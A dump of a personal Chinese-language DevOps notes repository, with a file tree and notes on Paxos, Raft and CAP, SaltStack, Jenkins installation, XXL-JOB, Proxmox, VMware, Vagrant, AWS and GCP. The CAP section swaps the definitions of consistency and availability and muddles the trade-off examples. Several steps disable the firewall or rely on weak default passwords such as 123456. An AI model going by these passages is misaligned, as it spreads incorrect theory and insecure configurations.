├── .gitignore
├── .mdformat.toml
├── README-dev.md
├── README.md
├── advanced
├── distribution.md
├── software.md
├── sre.md
└── term.md
├── auto
├── auto-tools
│ ├── config
│ │ ├── ansible.md
│ │ ├── auto-tools.jpg
│ │ ├── puppet.md
│ │ └── saltstack.md
│ ├── jenkins
│ │ ├── jenkins-cicd.md
│ │ └── jenkins-install-four.md
│ └── xxljob.md
└── rpa.md
├── cloud
├── PVE.md
├── VMWare
│ ├── VMWare.md
│ └── autoVM.ps1
├── Vagrant.md
├── aws
│ ├── AWS-CLI.md
│ ├── AWS-tip.md
│ └── AWS.md
├── gcp
│ ├── GoogleCloud.md
│ ├── adc.md
│ └── armor.yaml
├── hyperV.md
└── vs.md
├── computer
├── data-structure
│ ├── Fibon.c
│ ├── algorithm.jpg
│ ├── algorithm.md
│ ├── structure.md
│ └── structure.png
├── deep-learning
│ ├── README.md
│ └── cpu-gpu.jpg
├── hareware
│ ├── chip.md
│ ├── hardware.md
│ ├── machine-board.png
│ └── os.md
└── os
│ ├── linux-os.png
│ └── os.md
├── container
├── Docker
│ ├── docker-1.md
│ ├── docker-1.webp
│ ├── docker-2.md
│ └── docker-compose-yaml
│ │ ├── jenkins.yaml
│ │ ├── mysql-redis.yaml
│ │ ├── nexus.yaml
│ │ ├── promethues-grafana
│ │ ├── docker-compose.yaml
│ │ └── promethues.yaml
│ │ └── zabbix
│ │ ├── client.yaml
│ │ └── zabbix.yaml
├── Envoy
│ ├── envoy.md
│ └── log
│ │ ├── fluentd-cm.yaml
│ │ └── fluentd-daemonset.yaml
├── Images
│ ├── app
│ │ └── blockscout
│ │ │ ├── Dockerfile
│ │ │ ├── Dockerfile.sh
│ │ │ └── README.md
│ ├── devops
│ │ └── clean-image
│ │ │ ├── Dockerfile
│ │ │ ├── clean-docker.yaml
│ │ │ └── cronjob.parms
│ └── dokcer-images.md
├── Istio
│ └── istio.md
├── Kubernetes
│ ├── k8s-ecosystem
│ │ ├── helm.md
│ │ ├── k8s-jenkins.md
│ │ ├── operator.md
│ │ └── traefik.md
│ ├── k8s-functions
│ │ ├── configmap.md
│ │ ├── crd.md
│ │ ├── cronjob.md
│ │ ├── ingress.md
│ │ ├── k8s_storageclass_ceph.md
│ │ ├── label-taint.md
│ │ ├── liveness-readness.md
│ │ ├── others.md
│ │ ├── pod-scale.md
│ │ ├── pod-update.md
│ │ ├── pod.md
│ │ ├── port.md
│ │ ├── rbac.md
│ │ ├── recources.md
│ │ ├── schedule-affinity.md
│ │ ├── schedule-priority.md
│ │ └── volume.md
│ ├── k8s-overview
│ │ ├── command.md
│ │ ├── components.md
│ │ ├── develop.md
│ │ ├── k8s-api-server.png
│ │ ├── k8s-component.png
│ │ ├── k8s-etcd.png
│ │ ├── k8s-install.md
│ │ ├── k8s-resource.gif
│ │ └── kubernetes.md
│ ├── k8s-sigs
│ │ ├── README.md
│ │ ├── descheduler.md
│ │ └── kustomize.md
│ └── k8s-yaml
│ │ ├── mysql-yaml.md
│ │ ├── nacos.md
│ │ ├── redis.md
│ │ └── template.md
└── container.md
├── language
├── Erlang
│ ├── Erlang.md
│ └── example.md
├── frontend
│ ├── browser.md
│ ├── chrome.md
│ ├── frontend.md
│ ├── vue.md
│ └── webrtc.md
├── golang
│ ├── RELEASE.md
│ ├── go-dev.md
│ ├── go-env.md
│ ├── go-feature.md
│ ├── go-gramma.md
│ ├── go-package-3.md
│ ├── go-package-k8s.md
│ ├── go-package.md
│ └── go.md
├── java
│ ├── grammar.md
│ ├── interview.md
│ ├── java.md
│ └── maven.md
├── lua.md
├── nodejs
│ ├── GraphQL.md
│ ├── grammar.md
│ ├── mechanism.jpeg
│ ├── nodejs.md
│ ├── nvm-install.md
│ └── package.md
├── php
│ ├── php-extension.jpg
│ ├── php-pfm.md
│ ├── php.jpg
│ └── php.md
├── program.md
├── python
│ ├── ai.md
│ ├── grammar.md
│ ├── install.md
│ ├── package.md
│ ├── python-scrape-instructor.docx
│ ├── python.md
│ ├── question.md
│ └── tensorflow.txt
├── ruby.md
├── rust
│ ├── README.md
│ ├── cargo.md
│ ├── common.md
│ ├── crate.md
│ ├── crate_examples.md
│ ├── crate_tokio.md
│ ├── crate_tracing.md
│ ├── error.md
│ ├── grammar_1.md
│ ├── grammar_2.md
│ ├── grammar_advanced.md
│ ├── rust.md
│ ├── rust_gpu.md
│ ├── secure.md
│ └── standad.md
├── test.md
└── zprojects
│ ├── authentication&authorization.md
│ └── hugo.md
├── linux
├── RHCSA&RHCE.md
├── advancedFeature.md
├── eBPF.md
├── file.md
├── gpu.md
├── gui.md
├── linux-OS.md
├── linux-cmd.md
├── linux-language
│ ├── c&c++.md
│ ├── c&c++_lib.md
│ ├── communication.md
│ └── makefile.md
├── network
│ ├── TCP
│ │ ├── TCP-connect.png
│ │ ├── TCP-connection.md
│ │ └── TCP-disconnect.png
│ ├── dns
│ │ ├── dnsmasq.md
│ │ └── install-bind-unfinished.md
│ ├── https
│ │ ├── https-free.md
│ │ └── https-ssl.md
│ ├── linux-network-config.md
│ ├── nat.md
│ ├── network-tools.png
│ ├── network1.md
│ └── network2.md
├── package-management
│ ├── apt-yum-apk.md
│ └── apt-yum.png
├── pictures
│ ├── linux-OS.jpg
│ ├── linux-block.jpeg
│ ├── linux.png
│ └── systemd.png
├── remote&key.md
├── router.md
├── service.md
├── shell.md
├── storage.md
├── tuning-kernal.md
├── tunning.md
└── vim
│ ├── vim-cheat-sheet-sch.gif
│ ├── vim-cheat-sheet.gif
│ └── vim.md
├── manage
├── BI
│ └── BI.jpg
├── design.md
│ ├── README.md
│ ├── selection.md
│ ├── system-alibaba.png
│ └── system.md
├── manage.md
├── manage1.md
├── operation.md
└── work
│ ├── 0.myresume.md
│ ├── 0.myresume.raw.md
│ ├── 1.introduction.md
│ ├── 2.interviewee.md
│ ├── 3.interviewer.md
│ ├── 4.newstart.md
│ └── README.md
├── monitor
├── APM&Tracing
│ ├── README.md
│ ├── cat.md
│ ├── skywalking-agent.md
│ └── skywalking.md
├── Grafana.md
├── Prometheus
│ ├── architecture.png
│ ├── exporter.md
│ ├── k8s-install-prometheus
│ │ ├── kunernets-yaml
│ │ │ ├── README.md
│ │ │ ├── monitoring-prometheus-config.yml
│ │ │ ├── monitoring-prometheus-deployment.yml
│ │ │ └── monitoring-prometheus-rbac.yml
│ │ └── promethus-operator.md
│ ├── long-store.md
│ ├── prometheus-alert-rule.md
│ ├── prometheus-config.md
│ ├── prometheus-install.md
│ ├── prometheus-webhook-dingtalk.md
│ ├── prometheus.md
│ ├── promql.md
│ └── pushgateway.md
├── README.md
├── TSDB.md
├── alert-media
│ └── dingding
│ │ ├── READ.md
│ │ └── dingTalk.py
├── monitor-k8s.md
└── zabbix
│ ├── README.md
│ ├── agent-debug.md
│ ├── agent-install.md
│ ├── server-items.md
│ ├── server-performance.md
│ ├── server-proxy.md
│ ├── server-triggers.md
│ ├── zabbix-config.md
│ ├── zabbix-install-3.4.md
│ ├── zabbix-install-5.0.md
│ ├── zabbix-log.md
│ ├── zabbix-mysql-table.md
│ ├── zabbix-mysql-table.png
│ ├── zabbix-process.png
│ ├── zabbix-template.md
│ └── zabbix.md
├── record
├── cellphone.md
├── domain.md
└── wechat.md
├── scripts
├── autoWeb
│ ├── READ.md
│ └── main.go
├── backup-data.md
├── format_head.py
├── multi-linux-ssh-init.md
└── speedtest.py
├── secure
├── attack.md
├── certificate.md
├── defence.md
├── jumpserver.md
├── learn.md
├── linux
│ ├── backdoor.md
│ ├── firewalld.md
│ ├── iptables.md
│ ├── iptables.png
│ └── login.md
├── proxy
│ ├── openvpn.md
│ ├── proxy.md
│ ├── proxy_buy.md
│ ├── proxy_client.md
│ ├── proxy_protocal.md
│ ├── proxy_tunnel.md
│ ├── shadowsocks.md
│ └── v2ray.md
├── secure.md
└── secure_tool.md
├── software
├── ELK
│ ├── ELK.md
│ ├── elasticsearch.md
│ ├── filebeat.md
│ ├── filebeat.yaml
│ ├── kafka.jpg
│ ├── kibana.md
│ └── ruby&fluend&logstash.md
├── Git
│ ├── git-merge.jpg
│ ├── git-service.md
│ ├── git-status.png
│ └── git.md
├── ZK&Kafaka.md
├── ceph
│ ├── ceph-layer.png
│ └── ceph.md
├── confluence&jira.md
├── consul.md
├── db
│ ├── advanced.md
│ ├── database.md
│ ├── maxwell.md
│ ├── mongo.md
│ ├── mysql
│ │ ├── mysql.md
│ │ ├── mysql_dba.md
│ │ ├── mysql_install.md
│ │ └── mysql_sql.md
│ ├── postgresql.md
│ └── rocksDB.md
├── etcd.md
├── keepalived.md
├── mail.md
├── markdown.md
├── middleware-single.md
├── minio.md
├── nginx
│ ├── kong.md
│ ├── modules.md
│ ├── nginx.md
│ └── rule.md
├── rabbitmq.md
├── redis
│ ├── redis-cluster.png
│ └── redis.md
├── telegram.md
├── thumbor.md
├── time.md
└── vscode.md
└── zzz
├── mac.md
├── online_tools.md
├── todo.md
└── windows.md
/.gitignore:
--------------------------------------------------------------------------------
1 | # temp
2 | /LOCAL
3 | .DS_Store
--------------------------------------------------------------------------------
/.mdformat.toml:
--------------------------------------------------------------------------------
1 | end_of_line = "crlf"
2 | number = true
3 | extensions = ["frontmatter"]
--------------------------------------------------------------------------------
/README-dev.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2025-05-05
3 | ---
4 |
5 | [TOC]
6 |
7 | ```sh
8 | pip install mdformat==0.7.22
9 | pip install mdformat-frontmatter==2.0.8
10 |
11 |
12 | mdformat .
13 | ```
14 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-16
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 章节
8 |
9 | 01. [blockchain 区块链相关笔记](/blockchain)
10 | 02. [cloud 公有云私有云平台相关笔记](/cloud)
11 | 03. [computer 计算机系统相关笔记](/computer)
12 | 04. [container 虚拟化容器编排相关笔记](/container)
13 | 05. [language 高级编程语言相关笔记](/language)
14 | 06. [linux Linux系统管理相关笔记](/linux)
15 | 07. [monitor 服务监控可视化相关笔记](/monitor)
16 | 08. [scripts 小脚本存档](/scripts)
17 | 09. [secure 安全渗透相关笔记](/secure)
18 | 10. [software 各种软件部署运维相关笔记](/software)
19 | 11. [advanced 理论知识的进一步深入相关笔记](/advanced)
20 | 12. [manage 运维规划管理相关笔记](/manage)
21 |
--------------------------------------------------------------------------------
/advanced/distribution.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2023-03-10
3 | ---
4 |
5 | [TOC]
6 |
7 | # 分布式算法
8 |
9 | ## Paxos
10 |
11 | - 参考
12 |
13 | - https://lamport.azurewebsites.net/pubs/lamport-paxos.pdf
14 | - https://lamport.azurewebsites.net/pubs/paxos-simple.pdf
15 |
16 | - 假设多个服务端节点,每个服务端节点都可以进行本地运算;多个客户端,每个客户端都可以请求任意一个服务端节点。
17 |
18 | ### 消息传递(客户端向服务端传递消息)
19 |
20 | 1. 消息损坏
21 |
22 | - 解决办法:在消息中增加校验码
23 |
24 | 2. 消息丢失
25 |
26 | - 解决办法:服务端接收到消息后向客户端发送确认消息;客户端一定时间内诺没有收到确认消息,则重发消息。
27 |
28 | 3. 消息重复发送
29 |
30 | - 解决办法:每条消息内添加序列号,防止服务端重复执行指令。
31 |
32 | 4. 消息延迟
33 |
34 | - 场景:不同服务端节点接收到不同客户端消息的时间点不一样,导致服务端节点间的数据不一致。
35 | - 解决办法:另所有指令在服务端节点上将被按序执行,简称为状态复制(主从复制)
36 |
37 | 5. 状态复制存在单节点故障
38 |
39 | - 解决办法:确保在任何时候只有一个客户端在发送消息。加锁、互斥。通过给所有的服务端节点添加锁。
40 |
41 | 6. 加锁存在一系列问题
42 |
43 | - 问题
44 | 1. 部分节点宕机,不反回锁。
45 | 2. 多个客户端都锁定了部分服务端节点。
46 | 3. 客户端释放锁之前就发生了故障。
47 | - 解决办法:通过朴素的基于票的协议
48 |
49 | 7. 朴素的基于票的协议 -- 使用一个弱化形式的锁机制,票(Ticket)。
50 |
51 | - 服务端节点可以随时发布票,票可以是有先后顺序的。
52 | - 票是可以过期的。
53 | - 客户端向所有服务端节点请求一张票;当有收到过半数的票;则向所有服务器发送获得的票和指令;服务端节点检查票是否有效,有效则存储指令;过半数的服务端节点给客户端正反馈;客户端通知所有服务器执行指令。
54 |
55 | 8. 朴素的基于票的协议存在一个可能的问题。客户端通知所有服务端节点执行指令时,部分服务端节点的指令已经被另一个客户端更改。
56 |
57 | ## raft协议
58 |
59 | - 是分布式数据一致性算法
60 | - 是leader-follower模式
61 |
62 | 2. Raft 工作流程分为Propose,Append,Broadcast 和 Apply。
63 |
64 | 1. 客户发起交易,叫做 Propose
65 | 2. 记录交易,这个叫做 Append
66 | 3. 通知其他网点,这个叫做 Broadcast
67 | 4. 等最后知道大部分网点都确认了这笔交易记录,就执行交易,也就是 Apply。
68 |
69 | 3.
70 |
71 | 对于客户 A,操作是 Propose,Append,Broadcast, Apply,对于客户 B 也是一样的流程,之前我们必须等 A 完成了,才能处理 B。
72 | 3\.
73 | Batch
74 |
75 | 如果很多客户同时要发起交易,那么我们可以将这些交易记录,用一个消息发送到其它网点,这样我们就不需要一个一个的发送消息了,这就是 Batch。
76 |
77 | 各个网点之间距离还是有点远的,消息传递的时间开销还是有点大的。使用 Batch 可以减少消息的发送次数,自然就能提高效率了。
78 |
79 | # 分布式CAP理论
80 |
81 | - 分布式系统的定义: 一个系统的服务分布在联通的服务器节点上,服务之间通过消息传递进行通信和动作协调的系统。
82 |
83 | - C Consistency 可用性。系统中的部分服务发生故障后,系统也能响应客户端的读写请求。
84 |
85 | - A Availability 数据一致性。系统中的所有服务,当进行数据处理时,持有的数据副本都是相同的。
86 |
87 | - P Partition tolerance 分区容错性。当服务器节点之间网络通信异常导致丢包、延迟、中断等时,不影响系统对外提供的服务。
88 |
89 | - 分布式系统不能同时满足3个要求的根本原因:由于不同的服务设置在了不同的服务器节点上,存在网络延迟故障等。
90 |
91 | - 假设存在nodeA 和 nodeB 两个服务器节点,节点间相互同步数据保持数据的一致性。
92 | 满足CA:发生网络故障时,服务器节点间无法进行数据同步,但不影响,因为所有的服务都被部署在了同一个服务器节点上。
93 | 满足AP:发生网络故障时,服务器节点间无法进行数据同步,为了保持数据的一致性,停止对外提供服务。
94 | 满足CP:发生网络故障时,服务器节点间无法进行数据同步,为了对外提供服务,旧的数据被返回。
95 |
96 | # 微服务
97 |
98 | - 分而治之的思想。
99 | - 一种架构风格,软件的开发模式。
100 | - 行为:将集成所有功能的一个进程 按功能模块拆分为 多个进程。
101 | - 优点:可扩展,功能内聚,解耦,敏捷开发。
102 | - 缺点:进程间的通信带来了其它的问题,网络可靠性,通信安全,网络时延。
103 |
104 | # 算法
105 |
106 | 1. 一致性hash算法的目的\
107 | 相当于提供了一个虚拟的中间层,把虚拟的slot和真实的物理节点关联起来,当动态地添加和减少节点时,能够有效地减少数据的迁移量。
108 |
--------------------------------------------------------------------------------
/advanced/software.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2023-08-07
3 | ---
4 |
5 | [TOC]
6 |
7 | ## 链接
8 |
9 | 1. 软件2.0 https://karpathy.medium.com/software-2-0-a64152b37c35
10 | 2. 通用人工智能 https://ywh1bkansf.feishu.cn/wiki/QPe5w5g7UisbEkkow8XcDmOpn8e
11 |
--------------------------------------------------------------------------------
/advanced/term.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-12-21
3 | ---
4 |
5 | [TOC]
6 |
7 | 1. ASN 自治系统号(Autonomous System Number)
8 |
9 | 2. IDC 网络数据中心(Internet Data Center)
10 |
11 | 3. ISP 互联网接入服务商(Internet Server Provider)
12 |
13 | 4. KYC 身份认证(Know Your Customer)
14 |
--------------------------------------------------------------------------------
/auto/auto-tools/config/auto-tools.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/garysdevil/ITNote/83bb1287b041c48c1b5f77c1bf0a29c4a7a25d31/auto/auto-tools/config/auto-tools.jpg
--------------------------------------------------------------------------------
/auto/auto-tools/config/saltstack.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2024-11-19
3 | ---
4 |
5 | [TOC]
6 |
7 | # saltstack
8 |
9 | 服务端修改
10 | master:
11 | interface:192.168.1.1
12 | 服务注册修改:
13 | https://blog.51cto.com/7870873/1642419
14 |
15 | 客户端修改
16 | minion:
17 | master:192.168.1.1
18 | id: ID
19 |
20 | systemctl stop firewalld && sed -i '/#master: salt/a\\master: 172.16.212.126' /etc/salt/minion && systemctl restart salt-minion
21 |
22 | - master和minion的交互
23 | Saltstack默认使用zeromq传递消息,zeromq会随着Salt的安装而安装,他是一个消息队列服务,master通过4505端口将指令放入zeromq的队列中,而所有的minion都会监听master的4505端口,然后从队列中拿消息进行对比决定是否进行操作,如果操作将自己操作的结果丢回zeromq另外一个队列,master从4506端口监听该队列,得到返回结果,然后展示出来
24 |
25 | 4505 # 发送指令
26 | 4506 # 接受结果
27 |
28 | ## 安装
29 |
30 | ```bash
31 | apt-get install python-software-properties
32 | add-apt-repository ppa:saltstack/salt
33 | apt-get update
34 | apt-get install salt-master #服务端
35 | apt-get install salt-minion #客户端
36 | ```
37 |
38 | ## 端口
39 |
40 | - master
41 | 4505(publish_port)—Salt Master pub接口 提供远程执行命令发送功能
42 | 4506(ret_port)—Salt Master Ret接口 支持认证、文件服务、结果收集等功能
43 |
44 | ## 指令
45 |
46 | salt 执行salt的执行模块,通常在master端运行
47 | salt-cp 分发文件到minion上,不支持目录分发,通常在master运行
48 | salt-key 密钥管理,通常在master端执行
49 | salt-master master运行命令
50 | salt-run
51 | salt-syndic
52 |
53 | salt-call minion自己执行可执行模块,不通过master下发job
54 |
--------------------------------------------------------------------------------
/auto/auto-tools/jenkins/jenkins-install-four.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2024-11-19
3 | ---
4 |
5 | [TOC]
6 |
7 | # 安装jenkins
8 |
9 | # https://jenkins.io/download/
10 |
11 | ## 0 通过tomcat安装
12 |
13 | ```bash
14 | # - 参考 官网:http://tomcat.apache.org/
15 | wget http://mirror.bit.edu.cn/apache/tomcat/tomcat-8/v8.5.31/bin/apache-tomcat-8.5.31.tar.gz
16 | tar xf apache-tomcat-8.5.31.tar.gz -C /usr/local/
17 | cd /usr/local/
18 | ln -sv apache-tomcat-8.5.31 tomcat
19 | # - 将war包放入tomcat下的webapps目录下
20 | sh startup.sh
21 | # 访问:http://ip:端口/jenkins
22 | ```
23 |
24 | ## 1 通过war安装
25 |
26 | - 参考 https://jenkins-zh.cn/tutorial/get-started/install/war/
27 |
28 | curl -O http://mirrors.jenkins.io/war-stable/latest/jenkins.war
29 |
30 | - 启动
31 | export JENKINS_HOME=~/.jenkins_home
32 | nohup java -jar jenkins.war --httpPort=8899 > /tmp/jenkins.log 2>&1 &
33 |
34 | ## 2 通过rpm安装
35 |
36 | curl -O https://pkg.jenkins.io/redhat/jenkins-2.176.3-1.1.noarch.rpm
37 | rpm -ih jenkins-2.176.3-1.1.noarch.rpm
38 |
39 | ## 3 通过yum安装
40 |
41 | curl -o /etc/yum.repos.d/jenkins.repo https://pkg.jenkins.io/redhat-stable/jenkins.repo
42 | rpm --import https://pkg.jenkins.io/redhat-stable/jenkins.io.key
43 | yum install -y jenkins
44 |
45 | ## 2,3然后
46 |
47 | 更改端口 vi /etc/sysconfig/jenkins
48 | 修改Jenkins启动配置文件 vi /etc/init.d/jenkins\
49 | service jenkins start
50 | 卸载
51 | \# yum -y remove jenkins
52 | \# rm -rf /var/cache/jenkins
53 | \# rm -rf /var/lib/jenkins/
54 | http://ip:8080/exit
55 | http://ip:8080/restart
56 | http://ip:8080/reload
57 |
58 | ## 忘记免密:
59 |
60 | $JENKINS_HOME/users/用户名/config.xml
61 | 将密码更改为123456
62 | #jbcrypt:$2a$10$MiIVR0rr/UhQBqT.bBq0QehTiQVqgNpUGyWW2nJObaVAM/2xSQdSq
63 |
64 | ## Jenkins所有插件.hpi下载
65 |
66 | https://updates.jenkins-ci.org/download/plugins/
67 |
68 | # 其它
69 |
70 | ## 权限管理
71 |
72 | 1. 安装插件 Role-based Authorization Strategy
73 | 2. 在 Configure Global Security 中授权策略选择 Role-Based Strategy
74 |
75 | ##
76 |
77 | - SSH Pipeline Steps
78 | - https://github.com/jenkinsci/ssh-steps-plugin
79 | - https://www.jenkins.io/doc/pipeline/steps/ssh-steps/#sshcommand-ssh-steps-sshcommand-execute-command-on-remote-node
80 |
--------------------------------------------------------------------------------
/auto/auto-tools/xxljob.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2024-11-19
3 | ---
4 |
5 | [TOC]
6 |
7 | # xxljob
8 |
9 | - 参考
10 | - https://github.com/xuxueli/xxl-job
11 |
12 | ## 安装
13 |
14 | - 依赖软件
15 |
16 | - Java Jdk1.8+
17 | - Maven3+
18 | - Mysql5.7+
19 |
20 | - docker方式安装
21 |
22 | ```bash
23 | # 下载项目源码并解压,然后初始化数据库
24 | /xxl-job/doc/db/tables_xxl_job.sql
25 | #
26 | docker pull xuxueli/xxl-job-admin:版本号
27 | #
28 | docker run -e PARAMS="--spring.datasource.url=jdbc:mysql://127.0.0.1:3306/xxl_job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai" -p 8080:8080 -v /tmp:/data/applogs --name xxl-job-admin -d xuxueli/xxl-job-admin:{指定版本}
29 | # 访问 账户密码 admin/123456
30 | http://127.0.0.1
31 | ```
32 |
--------------------------------------------------------------------------------
/auto/rpa.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2024-11-19
3 | ---
4 |
5 | [TOC]
6 |
7 | - RPA(Robotic Process Automation) 机器人流程自动化
8 |
9 | - 《van der Aalst,2018》中,作者谈到了改进信息系统的 “由内而外 “和 “由外而内 “的方法。 在典型情况下(自内而外),要提高系统效率,就必须重写或升级软件。 相比之下,RPA 可在不改变软件堆栈的情况下改进系统和工作流程。 它具有成本效益,易于实施,而且不需要高技术团队就能实现出色的业务成果。
10 |
11 | - RPA 介于手动系统和全自动系统之间。 通过使用基于规则的工作流程,机器人可以模仿许多人机交互。 不过,与全自动系统不同,该软件并不能完全取代人工输入。 根据企业的不同情况,RPA 可能只提供整个业务流程中很小但却至关重要的一部分。
12 |
13 | - RPA 与 AIRPA可以使用编码指令执行重复的、非增值的、基于规则的任务。然而,它没有思考的能力。人工智能可以像人类一样思考和决策,并能自己完成任务
14 |
15 | ## 相关软件
16 |
17 | 1. 谷歌插件 Automa
18 | 2. 软件系统 skyvern https://github.com/Skyvern-AI/skyvern
19 |
20 | ## 付费软件
21 |
22 | 1. 指纹猎手 https://www.browto.com/
23 | 2. 影刀RPA https://www.yingdao.com/
24 |
--------------------------------------------------------------------------------
/cloud/PVE.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-05-12
3 | ---
4 |
5 | [TOC]
6 |
7 | # 虚拟化系统程序
8 |
9 | 1. ESXi,是VMWare vSphere Hypervisor套件之下重要组件。前身是ESX,依赖Linux源码,后来抛弃Linux源码做成了ESXi。整个产品企业气息浓重,界面清晰易用,但硬件兼容性较差,没什么扩展性(毕竟不是linux)。
10 |
11 | 2. PVE,全称Proxmox Virtual Environment,是基于Debian的Linux系统,虚拟机内核为KVM。硬件兼容性优秀。界面功能不强,很多操作要靠命令行,但扩展能力几乎是无限的。
12 |
13 | 3. unRaid,其实是个NAS系统,是基于Slackware的Linux系统,虚拟机内核也是KVM。磁盘阵列管理非常有特色,灵活性很高。同时还有很不错的插件、Docker和虚拟机支持。
14 |
15 | 4. KVM + OpenStack
16 |
17 | ## Proxmox
18 |
19 | - 参考
20 |
21 | - https://pve.proxmox.com/pve-docs/
22 |
23 | - 安装方式
24 |
25 | - 方式一:直接通过PVE的ISO安装
26 | - 方式二:先装Debian再添加proxmox的安装源来安装
27 |
28 | - 默认路径
29 |
30 | - iso存放路径: /var/lib/vz/template/iso/
31 | - 备份路径: /var/lib/vz/dump/
32 |
33 | ### 指令
34 |
35 | 1. 查看集群状态
36 |
37 | - pvecm status
38 |
39 | 2. 重启PVE服务8006端口
40 | service pveproxy restart && service pvedaemon restart
41 |
42 | 3. 解锁VM
43 | qm unlock ${PVE_VM_ID}
44 |
45 | 4.
46 |
47 | ### 相关工具
48 |
49 | #### 定时快照工具
50 |
51 | - 参考
52 |
53 | - https://github.com/Corsinvest/cv4pve-autosnap
54 | - http://blog.heishacker.com/Proxomox-autosnapshot
55 |
56 | - cv4pve-autosnap
57 |
58 | ```bash
59 | # 下载解压
60 | https://github.com/Corsinvest/cv4pve-autosnap/tags
61 | # 在PVE的web界面创建用户,并且给予 VM.Audit 和 VM.Snapshot 权限
62 |
63 | # 创建快照
64 | ./cv4pve-autosnap --host 127.0.0.1 --username ${username} --password ${password} --vmid ${vmid} snap --label 'daily' --keep=7 --state
65 |
66 | ```
67 |
--------------------------------------------------------------------------------
/cloud/VMWare/VMWare.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-12-09
3 | ---
4 |
5 | [TOC]
6 |
7 | ## VMware vSphere
8 |
9 | - 是一套虚拟化系统的应用程序
10 |
11 | 1. ESXi 是虚拟化服务。
12 | 2. VMware vCenter server 是一个中心化的管理应用。
13 | 3. vSphere client 可以通过访问 vCenter Server 来管理 EXSi 服务器。
14 |
15 | ## VMware Horizon
16 |
17 | - 是 一款桌面虚拟化和应用程序虚拟化产品
18 |
19 | ## PowerCLI command
20 |
21 | 1. 获取虚拟机具体信息:Get-VM 虚拟机名 | Format-List \*
22 | 2. 获取所有的命令:Get-VICommand
23 |
--------------------------------------------------------------------------------
/cloud/Vagrant.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2020-11-30
3 | ---
4 |
5 | [TOC]
6 |
7 | ## vagrant
8 |
9 | - 参考 https://www.jianshu.com/p/0cabd5072b86
10 |
11 | ### 概念
12 |
13 | 1. vagrant是一个工具,用于创建和部署虚拟化开发环境的。
14 |
15 | 2. VirtualBox Vagrant是一个开源软件,可以自动化虚拟机的安装和配置流程。基础设施即代码。
16 |
17 | 3. VirtualBox会开放一个管理虚拟机的接口,Vagrant会利用这个接口创建虚拟机,并且通过Vagrant来管理,配置和自动安装虚拟机。
18 |
19 | ### 指令
20 |
21 | ```bash
22 | vagrant reload # 重启
23 | vagrant halt # 关机
24 | vagrant destroy # 销毁
25 | vagrant ssh # 登录虚拟机,登录之后可以使用 ifconfig 命令查看虚拟机ip地址,然后使用Xshell登陆虚拟机
26 | vagrant port # 查看端口映射列表
27 |
28 | vagrant box list # 列出所有的虚拟机
29 | ```
30 |
--------------------------------------------------------------------------------
/cloud/aws/AWS-tip.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-05-23
3 | ---
4 |
5 | [TOC]
6 |
7 | 1. 磁盘在线扩容
8 |
9 | - https://docs.aws.amazon.com/zh_cn/AWSEC2/latest/UserGuide/recognize-expanded-volume-linux.html
10 | - 扩展 NVMe EBS 卷的文件系统
11 |
12 | ```bash
13 | # 如果有分区在则扩展卷的分区
14 | sudo growpart /dev/nvme0n1 1
15 | # 扩展每个卷上的文件系统
16 | sudo xfs_growfs -d /data # XFS 文件系统 # yum install xfsprogs
17 | # sudo resize2fs /dev/nvme1n1 # ext4 文件系统
18 |
19 | ```
20 |
21 | 2. 添加多个IP
22 |
23 | 1. 实例 --> 联网 --> 管理私有IP地址 --> 分配新IP
24 | 2.
25 |
26 | ```bash
27 | ip addr add 10.2.22.218/19 dev eth0
28 | echo 'ip addr add 10.2.22.218/19 dev eth0' >> /etc/rc.local
29 | ```
30 |
31 | 3. 弹性 --> 关联弹性IP地址 --> 网络接口
32 |
33 | 3. 要实时的确认哪些SQL语句消耗了多少内存
34 |
35 | 1. 启用增强监测以以最短为一秒的时间间隔检查指标。
36 |
37 | - 增强监测在主机级别收集统计数据,CloudWatch 每 60 秒从管理程序级别收集数据。您可以使用增强监测来识别仅发生一秒钟的增加或减少,并查看各个进程使用的 CPU 和内存。
38 |
39 | 2. 在“增强监测”页面中对进程 ID 进行排序,以查看 CPU 占用最多的进程的 ID。
40 |
41 | 3. 以主用户身份执行以下查询:
42 |
43 | ```sql
44 | select * from performance_schema.threads where THREAD_OS_ID in (ID shown in the Enhanced Monitoring window)\G
45 | -- 例如,如果 Thread_OS_Id 10374 和 1432 使用了最多的内存,则执行以下查询:
46 | select * from performance_schema.threads where THREAD_OS_ID in (10374, 1432)\G
47 | ```
48 |
49 | 4. 从此查询的输出中获取 PROCESSLIST_ID 列。这为您提供了与 SHOW FULL PROCESSLIST 中的进程 ID 值相匹配的进程 ID。
50 |
--------------------------------------------------------------------------------
/cloud/gcp/GoogleCloud.md:
--------------------------------------------------------------------------------
1 | ---
2 | created_date: 2021-03-26
3 | ---
4 |
5 | [TOC]
6 |
7 | - 创建的任何资源名字往往都是不可再次修改的
8 |
9 | ## 术语
10 |
11 | Google Cloud Platfomr(GCP)
12 | Google Kubernetes Engine (GKE) https://cloud.google.com/kubernetes-engine/docs
13 | Google Compute Engine (GCE) https://cloud.google.com/compute
14 | 网络端点组 network endpoint group (NEG) https://cloud.google.com/load-balancing/docs/negs
15 | 外部负载均衡 External HTTP(S) Load Balancing https://cloud.google.com/load-balancing/docs/https
16 | Cloud CDN https://cloud.google.com/cdn/docs/caching?\_ga=2.196277356.-1333077488.1603936828
17 |
18 | ## gcloud CLI
19 |
20 | - 参考文档
21 | https://cloud.google.com/sdk/gcloud?hl=zh-cn
22 | - 需要安装Google Cloud SDK,然后才能使用gcloud CLI
23 |
24 | ### 通过gcloud创建 转发规则
25 |
26 | 1. 至多配置 100 条专用转发规则 来指向每个网络的目标实例
27 |
28 | ```bash
